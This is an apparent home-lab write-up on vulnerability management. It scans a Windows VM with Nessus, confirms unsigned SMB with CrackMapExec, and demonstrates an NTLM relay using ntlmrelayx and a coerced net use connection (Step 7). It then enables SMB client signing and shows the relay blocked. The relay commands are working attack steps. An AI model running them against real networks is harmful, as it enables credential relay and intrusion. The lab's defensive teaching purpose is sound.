Vulnerbility Management With Nessus

Nessus Lab

**Lab topology

Kali (scanner/attacker): 10.0.2.5 — runs Nessus UI and attack tools

Windows client (target): 10.0.2.8 — scanned and hardened in this lab

Step 1 — Verify IPs and basic reachability

On Kali, confirm your interface and address with ip a, and note the NAT adapter IP 10.0.2.5/24. On Windows, open PowerShell or CMD and run ipconfig to confirm it’s 10.0.2.8/24. These are the exact addresses you will feed into Nessus and your attack tools; we use IPs instead of names to avoid DNS resolution issues in a lab. If you want to sanity-ping from Kali, ping -c 2 10.0.2.8 sends two ICMP echo requests (-c 2) to check path without spamming the host. Document the values so your target list stays consistent across scans.

I lock down the IPs first because everything later points straight at these addresses. It’s easy to waste time chasing “scan failed” messages when the IP changed or I typo’d it. Seeing 10.0.2.5 on Kali and 10.0.2.8 on Windows tells me the NAT segment is healthy and predictable. A quick ping -c 2 from Kali gives me a lightweight confidence check without cluttering the terminal.

Step 2 — ARP discovery to justify the target list

From Kali, install and run an ARP scanner with sudo apt update && sudo apt install netdiscover -y, then sweep the subnet using sudo netdiscover -r 10.0.2.0/24. The -r flag sets the CIDR range, and /24 means scan .1–.254. ARP works at Layer 2, so it’s reliable even when ICMP is blocked. In the output you should see VirtualBox gateway 10.0.2.1, Kali 10.0.2.5, and the Windows client 10.0.2.8 with vendor MAC OUIs. Use this list to build the exact target set for Nessus instead of guessing.

This is my “roll call” so I’m not scanning ghosts. ARP replies come back fast and prove the hosts are actually present right now. The vendor field also helps sanity‑check that I’m looking at a Windows VM. Having this screenshot later shows how I derived the target list instead of making it up.

Step 3 — Access Nessus on Kali and build a baseline scan

Open Firefox on Kali and browse to https://127.0.0.1:8834 to reach the local Nessus service (127.0.0.1 is loopback; port 8834 is Nessus’ web UI). Bypass the self‑signed certificate warning since this is your lab. Click New Scan > Basic Network Scan, name it “Baseline Windows”, and set Targets to 10.0.2.8. Launch it; Nessus will do host discovery, TCP/UDP port checks, banner grabbing, and unauthenticated plugins for the attacker‑eye view.

The baseline is like a souped‑up nmap with CVE brains attached. I don’t give it creds yet because I want to see exactly what a peer on the same segment would see. It’s also a good sanity check that host firewalling isn’t over‑aggressive. Seeing services pop here tells me a credentialed pass will be worth it for deeper findings.

Step 4 — Create A Local Admin Account Just For Scanning

Open Computer Management with compmgmt.msc, expand Local Users and Groups > Users, right‑click Users > New User, and create nessus_scan with a strong password SuperSecure123! ;). Check Password never expires and uncheck User must change password at next logon so Nessus won’t get stuck. Open the Member Of tab and add the account to the Administrators group so the scanner can read registry and patch state. This “service account” pattern mirrors how vulnerability teams get deep coverage without using personal logins.

Giving Nessus a dedicated local admin keeps things clean and auditable. I avoid using my own account for scans because that’s messy and hard to justify in reports. Marking “password never expires” prevents surprise failures down the road. Admin rights matter here because a lot of checks silently fail without them.

Step 5 — Run a credentialed Windows scan with proper username syntax

In Nessus on Kali, click New Scan > Advanced Scan. Set Targets to 10.0.2.8, then open Credentials > Windows > Authentication method: Password and put Username: ​nessus_scan and the password you set. The .\ forces Windows to treat this as a local account rather than a domain user. Launch the scan, now Nessus will authenticate, enumerate patches, check SMB settings, evaluate services, and generate fewer false positives than the baseline.

This is where the scanner actually gets inside the box and the results feel like a health check instead of a guess. The trick is easy to forget and it’s the difference between success and a lot of red “auth failed” noise. Credentialed results give me configuration truth, like SMB policy and patch gaps. It sets me up to validate any risky settings from the attacker side.

Step 6 — Double‑check SMB signing from Kali

Install tools if needed with sudo apt install crackmapexec smbclient -y, then run crackmapexec smb 10.0.2.8. CrackMapExec prints SMB negotiation details; the key line is “SMB Signing:” and whether it’s True/False or required. If signing isn’t required, that’s a green light for relay‑style attacks on flat networks. Keep this output as corroboration for your report.

I like confirming scanner findings with a second tool for confidence and screenshots. CME gives me a single line that tells the whole story about the SMB handshake. If it says signing isn’t required, I know an attacker can try to tamper or relay traffic. That’s exactly the kind of thing I want to validate before touching policy.

Step 7 — Stand up the relay listener and force the Windows client to talk

On Kali, create a target file with echo 10.0.2.8 > targets.txt so ntlmrelayx knows where to try relaying captured auth (-tf means “targets file”). Start the listener with sudo ntlmrelayx -tf targets.txt -smb2support this binds port 445 (SMB) and also spins up HTTP and RAW helpers while advertising SMBv2 support. On Windows, force an outbound SMB connection to Kali with net use \\10.0.2.5\test, which hits the listener and attempts authentication to your attacker box. In a single‑host lab you’ll see connections arrive and relay attempts logged, which demonstrates the attack infrastructure and why unsigned SMB is dangerous.

This shows practical impact, not just a scanner line item. Even without a second Windows host, watching my client talk to a fake SMB server is already a serious red flag. Seeing ntlmrelayx light up proves the path is real on the wire. It’s the kind of evidence that convinces people to fix policy instead of arguing about theory.

Step 8 — Harden the Windows: require SMB signing via GUI

Open Local Group Policy Editor with gpedit.msc, go to Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options, and set “Microsoft network client: Digitally sign communications (always)” to Enabled. This forces the Windows client to only negotiate SMB sessions that are cryptographically signed; anything else is refused. Click OK and either run gpupdate /force or just Restart to ensure the policy takes effect across the SMB stack. Capture the policy dialog in a screenshot for your evidence pack.

I’m treating this VM like a workstation, so the client policy is the right control for this lab. Requiring signing means my machine refuses to talk to sketchy SMB servers that won’t sign traffic. It’s a simple change with a huge payoff in flat networks where relays are common. Rebooting makes it obvious that new sessions will follow the rule.

Step 9 — Prove the relay is blocked after hardening

Restart the relay listener on Kali with sudo ntlmrelayx -tf targets.txt -smb2support so it’s waiting again on port 445. On Windows, repeat the same forced connection with net use \\10.0.2.5\test. The client should return System error 2148073478, which is a crypto/signing mismatch indicating the client now requires SMB signing and refuses the session. The ntlmrelayx window will show the inbound attempt but no useful relay because the signing requirement kills it.

This is exactly the behavior I wanted after hardening. The same command that used to talk to my fake server now face‑plants with a signing error. Seeing both terminals—the Windows error and the quiet relay—turns a policy change into a clear, testable control. It’s a clean, repeatable demonstration for anyone reviewing the fix.

Step 10 — Re‑scan with Nessus to document the outcome

Open Nessus at https://127.0.0.1:8834, select the Windows credentialed scan, and Launch it against 10.0.2.8 to refresh the posture. Review the results: you should mostly see Info items, and the SMB signing misconfiguration that originally appeared should no longer be flagged as a Medium risk on this client‑only build. If the Auth field in Host Details shows Fail, that simply means some remote checks didn’t fully authenticate with the local account over the network; it doesn’t change the fact that the signing issue was remediated and the attack was blocked.

Closing the loop in the scanner matters because it’s the same tool that called out the problem in the first place. Between the failed relay and a calmer Nessus report, I’ve got attacker and defender evidence in one story. The screenshots make the narrative easy to follow even for non‑security folks. It’s a tight before/after case I can drop straight into a portfolio.

Framework Mapping

NIST SP 800‑53

  • RA‑5 Vulnerability Monitoring & Scanning: Baseline and credentialed Nessus scans against 10.0.2.8 demonstrate continuous vulnerability assessment and tracking.

  • SI‑2 Flaw Remediation: Hardening SMB client signing (“digitally sign communications – always”) and re‑scanning shows remediation and verification.

  • CM‑6 Configuration Settings / CM‑7 Least Functionality: Enforcing secure SMB policy reflects approved configuration baselines and reduction of insecure protocol behaviors.

  • SC‑8 Transmission Confidentiality & Integrity / SC‑23 Session Authenticity: SMB signing adds integrity/authenticity to the session, mitigating on‑path tampering/relay.

  • AU‑6 Audit Review, Analysis, and Reporting (supporting): Collecting before/after evidence (scanner reports, console outputs) supports auditability of the change.

ISO/IEC 27001

  • A.8.8 (2022) / A.12.6.1 (2013) – Management of technical vulnerabilities: Running Nessus, identifying the SMB signing weakness, applying a fix, and validating closure.

  • A.8.9 – Configuration management: Applying a security configuration (SMB client signing required) and documenting it as part of baseline.

  • A.8.20 – Network security: Strengthening SMB communications on the network to prevent relay/MITM within the segment.

  • A.8.16 – Monitoring activities: Using scanner outputs and attacker‑side telemetry (ntlmrelayx/CME) as monitoring evidence of control effectiveness.

MITRE ATT&CK

  • T1016 / T1046 – Discovery: ARP discovery (netdiscover) and baseline scanning to enumerate live hosts and services.

  • T1557 (Adversary‑in‑the‑Middle) – SMB Relay): Building the ntlmrelayx listener and forcing net use \\10.0.2.5\test demonstrates a classic relay attempt.

  • Mitigation M1030 / M1042: Requiring SMB signing is a direct protocol‑level hardening that disrupts relay paths.

CIS Controls v8

  • Control 07 – Continuous Vulnerability Management: Routine scanning, result review, and tracking of remediation state.

  • Control 04 – Secure Configuration of Enterprise Assets & Software: Enforcing SMB client signing as part of secure configuration standards.

  • Control 12 – Network Infrastructure Management (applicable conceptually): Managing protocol security (SMB signing) on internal networks to reduce attack surface.

  • Control 17 – Incident Response Management (supporting): Capturing artifacts (before/after reports, console logs) to inform response and lessons learned.